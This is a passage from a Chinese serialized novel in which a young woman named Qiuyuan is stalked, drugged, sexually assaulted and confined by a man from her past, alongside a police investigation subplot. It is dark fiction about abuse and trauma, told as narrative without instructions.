“那位先生,还会来吗?”
秋原听到这个问题一头雾水,但看到她的眼睛,好像明白了什么,“他会来的。”
女孩仰起头笑了,夕阳照在她的脸上,镀上了一层落日独有的余晖,她似乎开口说了一句话,她的声音很小,小到秋原以为自己出现了幻听,看她的口型,那句话像是在说“你们要好好的。”说完只留下一阵风铃的脆响声。
她愣住了。
她想,女孩应该是期待着静山的出现,期待再一次见到他。
每一天站在收银台前的她都是怀有某种期待的。即使不是他,即使不再是他,也可以是别的。
真好啊,拥有期待的人。
秋原拿着蛋糕往回走,突然从街边走出一个高大的人故意挡住她的去路。心里的不满在看到那人脸的一刹那化为乌有。
“好久不见啊,我的好妹妹。”
那人明明是笑着的,秋原却从那幅面孔上解读出无数复杂的情绪,她感觉掉入冰窟般浑身冰冷,身体僵硬到无法动弹,说话也不利索,“你,你怎么,在这儿?”
“当然是专程来看你啊,找到你可费了我不少功夫。不过不必担心,今天只是打个招呼。但你最好别想着跑,你也知道,你是跑不出我视线的。”说着走进了一步,单手搭在她肩膀上,微低着头说:“这一段时间,看你过得不错啊?不过好心提醒一句,你以为,你可以享受这样的生活?别做梦了。”
男人说完话,轻轻拍了拍她的肩膀,秋原险些跪倒在地上。
为什么,为什么还是被他找来了……
“哎姑娘你没事吧?”
许是在路边诡异地驻足良久,一路过的学生问道,书生气的脸上满是真诚。
“没事,我没事。”说完匆匆离开了那个地方。
那一晚秋原坐到天亮,都没敢入睡,是自己沉溺于眼前安逸简单的生活太久了吗?是的啊,姜雪峰已经死了好久了,多年前的事悬而未决,而自己竟然好久没有想起江黎,没有想起姜雪峰了。
这不是她的生活,她不足以过得起这样的生活,她不足以享受生活的平静。
如果没有被他找到,自己就这样生活下去,是不是也可以?她旋即驱散了这样的想法,她过不起这样的生活,多年前是,现如今也是,以后更是……
姜海蓝从窗外一个过马路的满是气球的自行车上收回视线,漫不经心地说道:“唉,快开学了。”
“不想开学?”
姜海蓝舒展了四肢,叹口气说:“也不是,说不上来。不过开学这种事,长多大都不会喜欢。”
两人短暂地小聚之后,秋原送姜海蓝去公交站。
路上一只流浪猫凑了过来,秋原蹲下身摸了摸它脏脏的毛,猫咪在她手心里亲昵地蹭来蹭去,她挠了挠它的下巴,它就这么轻而易举地把下巴露出来,它的脖子细细软软的,还感觉得到呼吸的节奏。
“秋原?秋原!”
秋原这才反应过来,握着猫咪脖子的手松开了,一溜烟猫咪没影了。
“你在干什么?”
“啊?”秋原无措地看着她,不知该如何作答,手上还有猫咪的抓痕。
“你是不是最近压力太大了?你爸妈又来找你了?”
“没有,没有。”
“有什么事?”看她有些欲言又
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止。
秋原本想说最近先不要见面了,但话到嘴边怎么也不出来,“没事,真没事。” 转而说起另一件事,“突然想起来件事。”
“想起什么?”
“刚回到这里时,救助站的阿姨收留了我,有次我在院子里,一只小猫跑过来蹭,绕来绕去,不知怎么,我掐着那只猫的脖子,直到它不动弹了,一转身看到阿姨看着我,当时不知道该怎么办,阿姨什么没说,把小猫埋了。”
说完,两个人尽是沉默,姜海蓝知道她很多地方跟常人不一样,也试着理解她,显然也需要时间。
快到车站时,秋原突然停了下来,不自然地笑着说:“到了,我就不送了,路上注意安全,我先回去了。”
姜海蓝正纳闷时,秋原仓促地走了,以往她都是等她上了车才走的。
“好,拜拜。”
姜海蓝走到车站,回头看到秋原走着被一辆车挡住了去路,她感觉不妙跑了过去。
“这怎么回事?你会不会开车?人行道都能开上来?你故意的吧?”
秋原拦着姜海蓝让她不要再说话,“没事没事你先走吧。”
车上下来的人慵懒地靠在车门上,一脸悠哉地像看戏一样。
“哟,还真不知道,你还有朋友啊?”
“你们认识?”
“认识,没事你先走吧。”
姜海蓝感觉不太对,拉着她的手要一起走。
秋原把她拉到一边,瞥了眼车旁边的人,语气也局促起来,“听我的,你赶紧走,别来找我了。”
“为什么?他到底是什么人?”
“他是个疯子,千万别跟他有任何牵扯,相信我,我会处理好的。”
姜海蓝将信将疑地点了头,“你确定他不会伤害你?”
秋原突然笑了,“放心吧。”
听到这话,姜海蓝好像明白了些什么,这才答应了她,“好。”
秋原笑得明朗而又真诚,正是这笑容,欺骗了她唯一的朋友。
看着姜海蓝走远,上了公交,秋原才转身走到男人面前,神情格外复杂,憎恨,愧疚,恐惧,分别撕扯着她的大脑。
男人笑了,“呵,没想到啊。本来还准备了一个,没想到自己送上门了。”
“殷司源我先说好了,不要去招惹她。”
看她这么一本正经的模样,男人只觉得好笑,曾经胆小得躲在桌子下的哭虫,也会有要挟别人的一天,“那好啊,你也别想着躲哪儿去,我看你行李都收拾得差不多了?”
听闻这话,秋原的脸一瞬间红了,气恼加上尴尬。
“我既然能找到你一次,就能找到你第二次,不妨告诉你,你来这儿两个月后我就找着你了,收留你的丑八怪,你还捅过人,你的养父母,你毫无血缘关系的妹妹,甚至还交了个害死她父亲的‘朋友’。这么久了,也算是让你好好过了次正常人的日子。不过从现在开始,我们的游戏,继续。跟酒吧的人说好,无故缺席可是不礼貌的。”
秋原瞪着他,双手不自觉地握了拳,听他细数这些年自己经历的事,像是被监视了一般,头皮一阵发麻,他戏谑的笑容,这么多年过去了,他比以前那个疯子更甚。
上车前,他俯身在她耳边低声说:“缺席的代价,你知道的。”
车开走了,明明夏意正盛,她却感觉寒冰封住了四肢,动弹不得,片刻后神智逐渐恢复,茫然地看着四周,像是突然闯入的异域之人。
她像是暴露在聚光灯下的提线木偶,完全赤裸地展示在众人面前,她感到从未有过的恶心,来自心底的对自己的恶心。
39.未来没有未来 02
那之后,秋原的每一天都过得惶恐不安,不知道那个人何时会找来,不知道以何种方式突然出现,她是不是该早早地逃离这个地方,但转念一想,他早就找到了自己,不过是看他心情什么时候会出场。
她心神不宁地在后门站着,一抬头康静山正从楼梯走下来,穿着利落的西装,这还是她第一次见到他正儿八经地穿西装,不免看呆了。
“你在这儿干什么呢?”
秋原慌乱地收回视线,四下乱瞄,“没,没事,我,我扔垃圾。”
康静山没有停留同她擦肩而过。
“你,要出门啊?”
“嗯。”
静山走了几步,秋原突然叫住了他。
静山回头,阳光洒在他脸上,微微眯着双眼,似有些倦意,似是不耐烦。
“你不会想那些事了吧?”
“嗯?”静山一脸的困惑,但其实他知道她说的什么。
“没事了。”她慌乱地摇头。
他的嘴角扯动了一下,可能都说不上是笑,“至少不是今天。”
说完就转身走了。
秋原看着他的背影,突然萌生出一种依恋,却又是很熟悉的感觉,不知何时起在她心里早已扎根,根深蒂固,而她从未发觉。
她这才注意到不远处停着一辆看着很豪华的轿车,康静山走近时一个人下了车为他开车门。
8140。
“8140?”
她怎么感觉这几个字有些熟悉,像是在哪里见过。
“山南哥,我刚看静山穿着西装出门了,还有人专程来接他?”
耿山南看了她一眼,漫不经心说:“有人约他吧。”
秋原坐在最近的高凳上,两只手不安分地搅来搅去,“那个,你知道周星耀这个人么?”
“周星耀?”他停下了手中的动作。
看到耿山南眼中的诧异,秋原有些后悔问出这个问题。
“你从哪儿听说这个名字?”
秋原一时语塞,不知该如何糊弄过去。
“说什么呢?”麦子蹦蹦跳跳晃悠了过来,鼻子闻着酒味凑到耿酒杯前。
耿山南一只手挡着他的额头,麦子怎么挣扎都没有得逞。
“哎南哥这么香的酒就让我尝一口嘛,就一口。”
耿山南没理他,保持着脸上的微笑,但在那笑容中似有几分说不出的意味,“周星耀,是玫基哥哥。”
“星林哥?怎么突然说起他了?他今天来了?”说完着呼哧呼哧跑楼上去了,从楼上传来他的声音,“没有啊,康哥也不在啊。”
“怎么突然突然问起他了?”耿山南漫不经心地说道。
“哦我就是随便听人说的。”
“秋原?”
“啊?”秋原抬起头看到他和善的面容,一时有些无地自容。
“静山的事放心交给他就好了,不用担心他,也不要干涉他。”
秋原表面上顺从而坦诚地点点头,但已有的认知显然不允许她这么做。她不是阳光下成长起来的花朵,仅二十多年的人生就已经历过太多本不该经历的,她做不到,也不可能做到。
“你上次跟我说的,是要表达什么?”秋原望着不远处玩闹的小孩子,此时不少家长带着孩子出来玩,偶尔有风吹来,刚刚好的温度。
“你知道了什么?”
“救助站的事查得怎么样了?”
江岩看了她一眼,叹口气说:“没有任何实质性的证据,准确来说,任何有指向性的线索都不存在,唯一有用的是,事故发生前,一个路口的监控拍到了开往救助站方向的嫌疑人车辆。”
“黄昊军是吧?”
“你知道这个人?”
“火灾发生时,他就在现场,还有跟他一伙的人。”
“你怎么知道?”
“一个住在附近,曾给救助站送过东西的老奶奶说的。”
“你还记得这个人的模样么?”
秋原无奈地摇摇头,“跟我说完她就后悔了,矢口否认说过的话,当时我还很生气,后来才知道,老人家是不敢惹祸上身,家里只有她老伴和年幼的孙子在……”
这时江岩的手机突然响了,柯璃月打来的,上班时间她一般不会给自己打电话。
“喂璃月……你现在在哪儿……你等我我马上来。”说着起身挂掉电话,“我有事先走晚点联系你。”
秋原看他行色匆匆,正撞上买了饮料回来的乔树身上。
“他怎么了?”说着递了杯饮料给秋原。
“谢谢。他接了个电话,好像是,璃月?打来的。”
乔树坐在她旁边,一杯随手放在凳子上,松开了咬着的吸管,“璃月?这家伙要喝的倒先跑没影了。”
“江岩跟我说,康静山和周星耀他们之间……”
乔树没接话,耐心地看着她。
秋原抿了抿嘴,显然她想套话的策略失败了。
“从管教所带走静山的,就是周星耀是吧。”
乔树既没有承认,也没有否认。
“江岩现在查到哪一步了?”
乔树深吸一口气,双手交叉,胳膊撑在膝盖上,“这可不好说。”
“江黎的案子有进展么?”
乔树侧目看了她一眼,看来她还毫不知情,只无关痛痒地说:“他会查出来的。”
两人安静地坐了一会儿,秋原还是忍不住想问,“静山是不是做过很多,见不得人的事?”
他没有回答。不知是不是不想捅破她心里的那层纸。好在手机震动转移了两人的注意力。
“江队?好我明白了,我会尽快去办。”
“出什么事了?”秋原紧跟着他站了起来。
“璃月出了点事,江队送她去医院了,今天赶不过来了,我送你回去。”
“璃月,就是那次在病房见到的女生是吧,江岩的女朋友?”
乔树皱眉盯着她看,“我还真没发现你好奇心这么重。”
虽是一句玩笑话,秋原还是不好意思地低下了头。
“他还有事交给你吧,我自己回去就行了,这里离酒吧很近,不用麻烦你了。”
乔树想了想电话里江岩的话,“那好吧,你注意安全。”
另一边,医生给柯璃月做了细致的检查,除了擦伤,还有些轻微脑震荡。
“对不起,知道你在工作,还把你叫来。”
江岩宠溺地捏了捏她肉嘟嘟的脸颊,“说什么呢,你是我女朋友,遇到事不找我找谁啊。”
柯璃月温柔地笑了。
“对了,那个人具体什么样子你有注意到么?”
柯璃月缓缓摇头,“太突然了,我只记得那个人的手很黑很粗糙,好像右手手背上有个纹身,看不清具体什么样子。”
看她眼中都是歉意,江岩摸摸她的头发,“别担心我已经让乔树去附近查查监控了,这几天你回家路上多注意些,我有时间来接你。”
“不用,真的不用,你工作那么忙,我会注意下的。”
柯璃月的母亲赶到医院,江岩待了一会儿就回警局了。
“怎么样?有查到什么?”
“没有。如果只是偶然,只能说这个人运气太好,如果不是的话,那这个人就有大问
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题了,为什么会故意避开监控袭击柯璃月。”
江岩愁眉不展,从口袋里掏出一张什么。
乔树拿起一看,相当惊讶地说:“这不是你之前登报纸的照片么?”
照片是几年前江岩带队破获一起重大案件,当时还获得了市里的表彰。
“璃月身上发现的,冲我来的。”
“是他们来报复了?还是那些人……”
“我觉得是他们有所行动了。”
乔树的脸色也一下子凝重起来。
盛夏转眼而过,姜海蓝开学也已大半个月,特意来找秋原,两人啃着冰淇淋并肩走在树荫下,好在已是近傍晚的光景,太阳的光芒也逐渐柔和了起来。
“你之前说的那个人,怎么样了?”
“他没来找过我了,没事放心吧,我会小心的。说说你吧,大学怎么样?好玩吗?”
姜海蓝想了一下,有些不知如何说起,“怎么说呢,跟想象中不太一样,有自己的时间又有很多拘束,不过确实能见识到遇到好些与众不同的人和事。唉不过也挺遗憾的,小时候姜雪峰对我最大的期望就是上大学,这么多年过去了,现在的大学生满地都是,我也念大学了,他可不在了。”
秋原看着地上晃动的树影分了神,透过树叶间隙投射在地面上的光影一点一点,像是汇聚的星河,在摇曳。
“姜雪峰他……”
“怎么了?”姜海蓝一屁股坐在边上的长椅上。
“那个警察,你应该知道他,江岩,他跟我提起过当年的事,结合我当年看到的,发现了一些,不太一样的事。”
“什么事?”姜海蓝眯着眼,抬头望着她。
秋原望着她澄澈的眼眸,坦荡得似能见底,那一瞬间脑海中响起很多很多声音,盛夏从未停歇过的蝉鸣声,阳光焦灼波动的声音,此起彼伏的尖叫声,刺耳的刹车声,过去的事情在脑海中重演,碰撞。
“我和那个女孩,也就是江黎,分开的那天,在路口,我被一辆车撞晕过去了,在此之前,我看到的,是江黎被一个撑伞走着的男人带走,而那天姜雪峰是骑着摩托车的,我醒来后被扔在了别的地方,所以我和江岩猜测,大概撞晕我的人是姜雪峰,伤害江黎的,是另外的人。可能姜雪峰以为我是被他撞死了,所以才去自首?或者是跟那个人有什么误会,还是牵扯……”
秋原的声音越来越小,她望向姜海蓝,她手中的冰淇淋化了滴在手上,脸上的神情逐渐失色,良久才闷声说:“他不是□□犯?他知道这些事吗?”
“不清楚……”
“你有告诉他这件事吗?”
“没有……当时还……”
姜海蓝将冰淇淋丢在地上,站起身瞪着她,打断她的话一字一顿说道:“如果你跟他说了,他至少不会以为自己撞死了人,也许就不会自杀!”
秋原愣愣地注视着她,她眼里闪着泪光,有愤怒,有悔恨,有委屈。
“对不起……”这句话怎么说得这么顺口,连她自己都觉得诧异。
秋原手里的冰淇淋化了,顺着手指流了下来,黏糊糊的。
许久,姜海蓝抹了下眼睛,幡然醒悟般解释道,“对不起刚是我太冲动了,我当时也不理解他,我……对不起……”
两人都像做错事的孩子,无促地站定着。终于姜海蓝迈了一步,“对不起……我回去了……”
秋原不知在原地站了多久,大概天已经暗了,虫鸣也已停了,她用纸巾擦了擦地面的污渍,把垃圾扔掉,无力地坐在那张长椅上。她并没有多余的感觉,只是突然很累,莫大的无力感瞬时将她淹没,无声无形,挣扎不得。
40.未来没有未来 03
秋原在二楼帮耿山南收拾厨房,他新做了甜品,拿着一些走到门口时,对面的房门开了。
“怎么了?”静山见她看着自己不说话。
秋原忙摇头避开视线,“没事,山南哥让我给你送些他新做的。”
“放桌上就行。”说着侧身让开路。
秋原出来时带上了房门,下楼注意到静山背对着她坐在吧台前,和陆川不知在说些什么。他的背影看着有些瘦弱,但在过去很多走投无路的时候,给了她坚实的依靠。
一开始从她见到他时,就知道他们是距离格外遥远的人,但说来好笑,她能活到现在,至少独立地作为一个完整的人活着,很大程度上因为眼前这个人。也许只是无意之举,也许不过巧合,但他在她生活中的存在,莫过于最大的信念。
但她不能走近,走近了就会知道很多不该知道不能知道的事情,那时的她,还能像现在这么心安理得地在他的庇护下存在着吗。
她不知道……
她突然想起江岩和乔树说过的话,也许眼前的安宁,不过她自欺欺人罢了,伸出手就能触碰到的现实,她突然害怕了,害怕再一次一无所归,孤零零地浮叶般飘荡。
玫基推门而入,一眼就注意到楼梯口的秋原,不怀好意地盯着她,走到静山身边时神情才柔和下来,贴着静山有种小女生撒娇的感觉。
“好几天没见面有没有想我?”
静山对她没办法拉着她的手让她坐下。
“说真的,好不容易闲下来就来看你了,我哥那边都没给他个交代呢。”说着拉着他的手不放开。
静山跟陆川说:“我说的你先看下情况。”
“明白。”
静山起身上楼,秋原低下头让开路。
等静山进了房门,玫基才走过来。
麦子不知在试音还是干什么,发出刺耳的声音,陆川过去察看。
“怎么?在这儿还待出优越感了?你当这是哪里?慈善机构?嗯?静山一句话你就从这里滚蛋,我念在是静山的意思,才容许你这粒沙子,你可别忘了你什么身份,最好老老实实呆着别给他惹麻烦,要是再给他惹事,那就别怪我不客气。”说完越过她上楼去了。
玫基没有敲门就直接进了静山的房间,坐在沙发上翘起腿,略嗔怪道:“秋原这个人怎么还留在店里。”
躺在摇椅里的静山闭着眼,似是没有听到她的话。
玫基起身走到他面前,俯下身定定地看着他,两人的脸离得很近,“我知道你听见了。”
静山慵懒地抬眼看了她一眼,随即又闭上了,脸上的神情毫无波澜。
“我知道这是你店里的事,所以她一开始留下的时候我也没多说什么,但现在你也看到了,这个女人可不是什么省油的灯,要不是她,也不会有那么多事。”
静山脑海中突然想起一幕,秋原问他还会回来的吧,她是怎么知道的。她见到过章煦了?
“跟她无关。”
玫基撇撇嘴,心里满是不痛快,“我知道你多次替她出面,为什么留着她,别告我说是你康静山大发善心。”
静山睁眼坐了起来,“留着她有用。”
“呵,”玫基冷笑一声直起身,双臂环在胸前,“你留着她有用?你还不如跟我说你是可怜她。”
静山没有说话,玫基弯下腰手撑着椅子边,凑在他面前,似笑非笑地盯着他,下一秒即亲了上去。
好在静山早知她的手段,掐着她的下巴,看着窗外的眼睛落在她脸上,眼神漠然得像看着毫无关系的一件物品。
玫基的眼神一下子软了下来,抱着他下巴枕在他肩上,娇嗔道:“我不管我不许你有任何事。”
静山摸了摸头发无奈地保持着这个姿势。
更衣室,秋原无声地把头撞向柜子。
“秋原?你在干嘛?”是麦子的声音,“我开门了啊。”
门开了,麦子好奇地环视房间一周,“你干嘛呢,我听到什么动静。”
秋原坐下来,盯着地面,显然没什么精神,“没什么。”
“今晚上我们在溪禾广场唱歌,空了来听听。”
秋原抬头望着他,麦子的眼睛很明亮,坚定而自信地看着她,不知为何她突然想到了向日葵,向阳而长的生物,就是这般明媚吧。
“嗯,好。”
他还想说什么,秋原已经起身背过他准备换衣服了,他只好退了出去。
临时搭建的舞台,有限的设备,但这一些并不影响舞台上的麦子,他像是生来就为这一幕而存在,格外耀眼,夜色中虚浮着形形色色的亮光,而他就是最坚实的光源,与这夜幕,毫不妥协。
欢呼的人群跳动着扭动着,大喊着尖叫着,秋原穿越人群离开了,离舞台上的人,也越来越远……
她请了假,可能会缺席几天,何时起为何缘由,她都没有说,陆川毫不犹豫地就同意了,甚至问需不需要帮助,她险些就说了出来,就当他们都是朋友,可话到了嘴边,想起一些挂在耳边的话,心里的热流逐渐冷却,最终还是笑着说没什么事。
这几日,秋原睡得极少,任何一点声音都能把她惊醒,但精神头越发糟糕。这天回去,她在窗前坐到天渐亮,身体困乏到难以撑下去,从枕头下摸出安眠药,干咽几片下去,坐回到了沙发前的地上。
不知道敲门声响了多久,被人摇醒时她全是茫然,看到房东的脸,心里还在想一醒来就看到这样一张脸确实有点惊吓。
随即让她更惊吓的是,映入眼中的另一张面孔。
声音在大脑周围晃荡,就是入不了她的耳朵,她的大脑炸锅一般嗡嗡作响。她无力地趴在沙发上,让意识慢慢清醒。
房东不知道什么时候走了,抬头看到殷司源坐在旁边的椅子上并没有注意到她,于是挣扎着起身,站起来的一瞬间双腿发软,没站稳倒了下去。
他可以不出手的,任由她栽倒,是他做过最多的事。可这一次许是太过突然,他头也没抬就抓住了她的手,她借力扑在了他怀里。
那一刻他眼中的诧异很快被抹去,秋原也只看到最后的调戏。
“你太瘦了。”
在他面前她只会受到羞辱。
她气愤着起身,连他帮自己的那一下也觉得是圈套。
无视多余的人,秋原洗了澡换了衣服,头发擦了擦,就这么披散着。
殷司源见她收拾好了,没说话出了门,秋原看了看全开的门,神情蓦然,抬脚跟了上去。出门前,她把墙上的挂钟拿在手里看了片刻,不知故意还是手滑,伴随着声响挂钟碎了。
楼下停着一辆与小区
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格局相当不符的豪车,秋原坐上车,副驾驶座上的她梗着脖子直愣愣地看向前方。
殷司源侧目看着她,右手伸过来,秋原下意识地躲开,他的手停在半空中,不急也不恼,可她却知道自己做错了。
秋原微微低着头,两只手放在腿上握成了拳头。
他轻轻理了理她的头发,以一种不可思议的温柔。但她清楚不是这样的,她知道他是个疯子。
殷司源带她去了市中心一家餐厅,看样子他是这里的熟客,店员热情地招呼,秋原跟在他身后,看着他的背影,不知在她毫不知情的时候,他在这个城市密谋着,给她布下了多少陷阱。
看样子早就约好的,服务生带他们到了一间包间,包间很大,桌子一圈快坐满了人,他一进门就有人起身迎他。
“殷老板就等你了。”
“司源你可来了!”
“快坐快坐。”
他娴熟地跟众人打招呼,坐在主位上,秋原坐在他旁边。
一顿饭下来,秋原被人灌了几杯酒,其间还走了几个人。饭毕有人提议唱歌,一群人去了附近的KTV。
殷司源接到一个电话,几个男人打了招呼先进去了。
没有殷司源,自然是没人看得到秋原。喝了酒的秋原托腮坐在沙发上,大脑慢悠悠地运转,她无意瞥到他的背影,被吸引了注意力,这才发现他今天穿着西装,身材挺拔,将近一米九的个头也不错,要是没有那么一张令她恐惧的脸的话,就更好了。
殷司源打完电话走过来,见她笑得花痴,不知道是看到哪个臭男人了,拉着她胳膊不由分说地把她强拽起来,
“哼,看你还挺开心呀。”
秋原笑着摇头。
看她如此傲慢地违抗自己,殷司源也笑了,不过是冷笑,压低嗓音说:“既然这样,那我就让你更开心。”
包间里男男女女拥坐在一起,桌上地上摆放着酒瓶。
“司源!”一男人嗓门很大,指着沙发,“快快来!”
殷司源走过去,两个女人顺势起身迎了上去。
秋原一时间进退两难。
“这位谁啊?”一个女人娇嗔着说。
殷司源一口饮下半杯酒,搂着身旁一女人的肩膀,“我妹妹,带过来跟大家玩玩。”
刚说完,边上一男人接到指令似的起身拉着秋原的手,让她紧挨自己坐下,“小妹妹第一次出来玩?别害怕我们又不是大灰狼。”
说着的时候两只手不安分地摸着秋原的手。
身旁三两男人继而连三地给秋原灌酒,他们的手有意无意在她身上停留,加上音响的声音震得她头痛欲裂,实在没忍住跑到洗手间趴在马桶边上吐。
洗了洗脸想保持清醒,出门的一瞬间,大脑像受到了麻痹,她看到沙发边上一男一女衣衫不整紧贴在一起,一时间又感觉反胃。
秋原走了两步,胳膊撑在沙发上才让自己站稳,她的手无力地抓着他的肩膀,“殷司源……放过我吧……”
殷司源正吻着女人的脖颈,注意到秋原的手,他轻轻拍了拍身边美女的胳膊,女人回头瞥了眼秋原,从殷司源身上下来,衣服也没有整直接依偎在一旁。
殷司源衬衫半开,慢条斯理地点了支烟,打火机扔在桌上,故作糊涂,“你说什么?”
41.未来没有未来 04
还没等秋原说话,之前那个男人看到秋原出来了,踉跄着起身走过来搂着她的肩膀拉她入座,她费力地抓他的衣袖,最后什么也没有抓住。
那个男人一直在说着什么,但看到他发笑的脸秋原什么也听不进去。
男人顺势摸了摸她的大腿,不经意间手伸向她的衣服,整个身体压了过来,他一只手扣着她的双手手腕,她动弹不得,快喘不过气了。他满是酒气的嘴落在她脸上,脖颈,手伸进她的衣服里,在她身体上游走。
她感到恶心,感到害怕,他扯破了她的衣服,她感觉莫大的侮辱,赤身裸体地爆露在男人们满是□□的视线下,全然没有自我,她不是一个人,不再是一个人,不再是一个女人,只是个玩物,而这一切,是那个疯子一手促成的。
男人伸手去解自己的腰带,秋原暂时得以免受钳制,她伸手摸到了一只倒着的酒瓶,摔在桌子边缘,碎了瓶身,用力刺向男人的脖子。
男人吃痛摔在了地上,从地上狼狈地爬起来单手捂着脖子,狠命甩了秋原一巴掌,嘴里骂道:“臭婊子。”
秋原嘴角出血,发红的双眼瞪着男人,紧握着手里的半个瓶子,顾不上衣衫不整,趁男人着急脖子上的伤,拼了命刺向他。那一瞬间,她看到男人眼中的一丝恐惧,呵,她是胜者。
可并没有如她所愿,殷司源出现在视线中,拦下了她,他轻而易举地夺过她手里的“武器”,随手把她丢在沙发上,她像个软绵绵轻飘飘的垃圾一样。殷司源不知和男人说了什么,从桌上拿了个装有液体的杯子,走过来捏着秋原的脸给她灌了下去。
秋原眼中的一切慢慢涣散,含糊着说:“殷司源你……混蛋……”
大脑中一片黑暗,什么光亮都没有,沉重得就像经年依旧的古钟,意识就在这一片黑暗中滋生,慢慢成形。
秋原睁开双眼,看到的是同样的黑暗,石铁铸成的黑暗,透不过一丝光线,她蜷缩的四肢也慢慢苏醒,腿碰到了冰凉的墙壁,一伸手,同样是墙壁,她突然慌了,挣扎着起身。
狭小的空间像是专门打造的囚笼,什么都看不见,什么也没有,她慌乱地四处敲打,触摸着每一面墙,摸到门的位置,厚重的实心铁门,拳头敲上去除了实打实的痛,发不出什么声响。
她声嘶力竭地大喊,可除了自己的声音,什么动静都没有。
多年前的恐惧卷土重来,她颤抖着蜷缩成一团,逃不出去的狭窄空间,暗无天日。
也不知过了多久,时间仿佛在黑暗都凝结静止,她的嗓子哑了,□□丧失了活力。门打开时,秋原虚弱地倒在地上,光亮得刺眼,可她连闭上眼睛的力气都没有。
殷司源就这么站着,居高临下俯视着秋原。
秋原缓缓伸手,仅有的丁点力气抓着他的裤脚。
眼眶中模糊的人影,转身走了,秋原躺在地上,望着天花板,活着的惧意事隔多年再一次袭来。
她还穿着之前那身衣服,嘴角的血渍凝结,她踉跄着起身,扶着墙到卫生间开了淋浴,她也不记得自己在水下待了有多久,指甲在身上划出许多血痕。
她裹着浴巾,看了眼脱下的衣服,最终在一间卧室的衣柜里找到衣服,不用想也知道是那个疯子的。她思索着要不要穿,低头看了看自己的腿和脚,对此时犹豫的自己萌生出鄙夷。
换上宽大的白衬衫,从没什么食物的冰箱里搜到矿泉水,拧开咕咚咕咚喝了大半瓶。
无意中瞥到了燃气灶,秋原不知想到什么。厨房基本没怎么用过,她翻出来一个大一点的不锈钢盆,又从浴室拿出来之前的衣服,一股脑把衣服扔了进去,借了燃气灶的火,把那些衣服烧了。
她蹲在一旁,火苗在她瞳孔中跳动着,听着门开的声音,她头也没抬,故意说道,“你这房子真不怎么样,要是我再放大一点的火岂不全烧了。”
没听到他发火,她有些意外,抬起头这才发现回来的人是沈榕。
“你怎么在这儿?”
“我还想问你怎么在这儿。”
沈榕提着几只大袋子,姿态神情俨然女主人的模样。
“殷司源,跟你什么关系?”
“你说我们是什么关系。”
秋原冷静下来理了理,起身时身体格外虚弱的她还站不稳,一只手扶着餐桌,“他人呢?”
“等会儿回来。”
她拉着沈榕的手往外走,“带上你的东西,赶紧走,殷司源是个彻彻底底的疯子,不要跟他有任何联系。”
沈榕挣脱了秋原的手。
“我没有骗你,他真的是个疯子,他会干出你想不到的事。”
沈榕双臂环在胸前,睥睨着她,“我认识他很长时间了,我还不清楚他什么样的人?给我钱,带我玩,带我吃好吃的,比我那只会搜刮我钱包的爹妈可强多了,你还想说什么?”
“沈榕!”秋原一时间不知该如何规劝她。
这时门开了,殷司源进门脱掉了外套,沈榕像个小孩子领赏一样屁颠屁颠地跑到他面前,十分自然地亲了一下。
“呵,你醒了。”他瞥到她穿着的衬衣,倒没有生气。
“借你吉言,还没死。”
殷司源亲昵地贴到沈榕耳旁说:“叫些吃的,我去洗澡。”
“好。”
听着洗手间流水的声音,秋原抓着沈榕的胳膊,“他真的是个疯子,别看他现在装出一副对你好的模样,他是利用你。”
沈榕的视线从手机转移到秋原身上,眼神发生了翻天覆地的变化,“呵呵,利用我?利用我什么?”
“利用你……”
“怎么不说了?说不上来了?沈泠,找着这样的男人是我的本事,你既没本事也没胆量,就乖乖当你的缩头乌龟!”
听到最后那四个字,秋原颓废地坐在一旁,对啊,她是缩头乌龟,十几年前是,现在也是,毫无长进的缩头乌龟。
沈榕定了一桌子的菜,秋原乏味地坐在餐桌上,对面两人卿卿我我的模样让她反胃。
“你怎么不吃?”
“不想吃。”但胃里的阵阵绞痛,提醒着她已许久未进食了。
“放松点,这么长时间没吃东西身体怎么受得了。”说着给她盛了一碗汤。
秋原不可思议地看着面前的这碗汤,殷司源微笑着很是真诚,让她险些以为自己在做梦。看到旁边的沈榕,她清醒过来这不过都是他的欺骗手段罢了。
她艰难地拿起筷子,夹菜的手都在颤抖,低着头把饭菜送到嘴里,突然间感觉有些委屈,莫名的委屈。
沈榕洗完澡换上了睡衣,惬意地敷着面膜在屋子里晃荡,进卧室前,秋原拉住了她的手,近乎恳求的语气说:“你信我这一回吧。”
沈榕假笑了一下,“早点休息,晚安。”
殷司源在阳台打完电话,只看到秋
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原一个人,“你妹妹呢?”
秋原走近,仰视着他低声说:“别打她的主意。”
“呵,”他显露出一贯的笑容,“自己送上门的,怎么能放过?再说你又不是不知道她跟过多少男人。”
“这是两码事!”秋原压低声音说道。
殷司源倒并未听进去她的话,捏捏她的脸颊,“饭要多吃点,看你瘦的。要不你也来?我不介意多一个人。”
秋原抬手给了他一巴掌,“你混蛋!”
殷司源半空中抓住她的手不让她收回去,舔了下她的手心,眯着细长的眉眼说道:“妹妹也是个可人呢。”
这句话,她一直以为他说的是沈榕,从来都不知道他说的是她。
殷司源从厨房倒了杯酒,递给秋原。
“这什么?”
“你要是喝了,”殷司源晃着手里的酒杯,“你刚说的我还可以考虑一下。”
“我怎么知道你说的真假。”
殷司源摊开手以示无奈,“这没办法,不过给你个机会,选择在你。”
秋原接过杯子,狐疑地看了眼他,一饮而尽,“我喝了,说好的,你不要动她。”
殷司源摆出一副深思的模样,“你们什么血缘关系都没有,而且小时候根本不亲近。”
“这都不重要,任何一个女孩都不能被你糟蹋。”说着,她感觉头有点晕,身子也晃悠起来。
殷司源扶住她的腰,附耳说道:“我想好了,拒绝你的提议。”
“混蛋!”秋原掐着他的脖子,力道上却是软绵绵的,“混蛋!”
她眼中的他明明那么近,却逐渐模糊,大脑也逐渐死机,停止了运转,只记得最后一幕他模糊的脸,大概是微笑着的。
太阳光的暖意将秋原唤醒,头有些疼外,这一觉是她近些日子来休息得最好的了。
坐起来发现自己在宽敞而又舒适的床上,卧室很大,不想是有人生活过得地方,她赤脚踩在地上,想搞清楚目前的状况,卧室的门锁着,阳台外是高楼。她之前倒没有走进这间卧室。她气馁地坐在地上,从这里她能看到好远,但没有人知道她在这儿,没有一个正常的人知道。
天黑了,秋原抱着双膝坐在地上直到天黑,霓虹灯映射的天空很亮,看不到任何一颗星星,月亮更不知在哪里。
门外有动静,房门响了,门开了,一个人影站在门口的光亮之中,不用看也知道是谁。
人影走近,蹲在地上看了看秋原,顺势坐了下来,靠在她肩上,满身的酒气扑鼻而来。
眼前的一切,让她萌生出怪异的想法,她瞥了眼靠在肩上的人,是不是现在解决掉他,她就可以解脱了?
会解脱么?还是依旧如沼泽般的生活……
